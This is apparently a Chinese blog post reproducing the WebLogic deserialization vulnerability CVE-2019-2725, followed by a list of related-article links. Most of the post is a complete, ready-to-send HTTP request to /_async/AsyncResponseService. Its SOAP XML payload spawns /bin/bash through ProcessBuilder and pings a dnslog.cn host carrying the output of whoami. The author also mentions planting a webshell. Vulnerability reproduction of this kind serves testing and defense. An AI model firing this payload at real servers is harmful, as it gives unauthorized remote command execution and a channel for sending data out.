weblogic(CVE-2019-2725)漏洞復現
最近打攻防演練的時候碰到了這個漏洞,趁熱打個鐵復現一下漏洞
這個漏洞對比shiro來說還是比較新鮮的,他是去年新出的一款漏洞,19年4月
受影響版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影響元件:
bea_wls9_async_response.war
wsat.war
漏洞存在的頁面:
/_async/AsyncResponseService
poc如下
POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.74g4hi.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
當然肯定希望是出網機器,不然這個漏洞利用有點麻煩,因為不同的weblogic元件版本,解析目錄的路徑都是不一樣的,寫入webshell也會有難度。
相關文章
- weblogic ssrf漏洞復現Web
- Weblogic-SSRF漏洞復現Web
- weblogic T3 漏洞修復Web
- Apache漏洞復現Apache
- Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)復現OracleWebServer
- phpStudy poc漏洞復現以及漏洞修復辦法PHP
- 【阿菜漏洞復現】DeFi 平臺 MonoX Finance 漏洞分析及復現MonoNaN
- 【漏洞復現】Redis未授權訪問漏洞Redis
- 修復weblogic的JAVA反序列化漏洞的多種方法WebJava
- nginx目錄穿越漏洞復現Nginx
- 【漏洞復現】Paraluni 安全事件分析事件
- Redis未授權漏洞復現Redis
- WebLogic 任意檔案上傳遠端程式碼執行_CVE-2018-2894漏洞復現Web
- Weblogic修復"Java反序列化"過程遠端命令執行漏洞WebJava
- PHP檔案包含漏洞(利用phpinfo)復現PHP
- Fastjson反序列化漏洞復現ASTJSON
- PHPMailer遠端命令執行漏洞復現PHPAI
- 常見中介軟體漏洞復現(上)
- 技術分享 | Fastjson-RCE漏洞復現ASTJSON
- tomcat弱口令後臺getshell漏洞復現Tomcat
- 從CVE復現看棧溢位漏洞利用
- nginx檔名邏輯漏洞_CVE-2013-4547漏洞復現Nginx
- 詳解ShellShock 漏洞復現原理,內附ShellShock的修復方法
- Weblogic核心元件反序列化漏洞修復方案(CVE-2020-14825)Web元件
- Weblogic遠端程式碼執行漏洞(CVE-2020-14750)修復方案Web
- Weblogic WLS元件REC漏洞(CVE-2017-10271)測試與修復方案Web元件
- WebLogic 反序列化漏洞深入分析Web
- Fastjson1.2.24反序列化漏洞復現ASTJSON
- apache log4j2 漏洞復現linuxApacheLinux
- CODESYS V3遠端堆溢位漏洞復現(環境配置+復現過程)
- Nginx解析漏洞復現以及哥斯拉連線Webshell實踐NginxWebshell
- ThinkAdmin漏洞(CVE-2020-25540 )復現
- Redis v6.0.5未授權訪問漏洞復現Redis
- docker逃逸漏洞復現(CVE-2019-5736)Docker
- 怎麼修復網站漏洞騎士cms的漏洞修復方案網站
- Java安全之初探weblogic T3協議漏洞JavaWeb協議
- PrestaShop網站漏洞修復如何修復REST網站
- spring boot (whitelabel error page SpEL RCE) 漏洞復現Spring BootError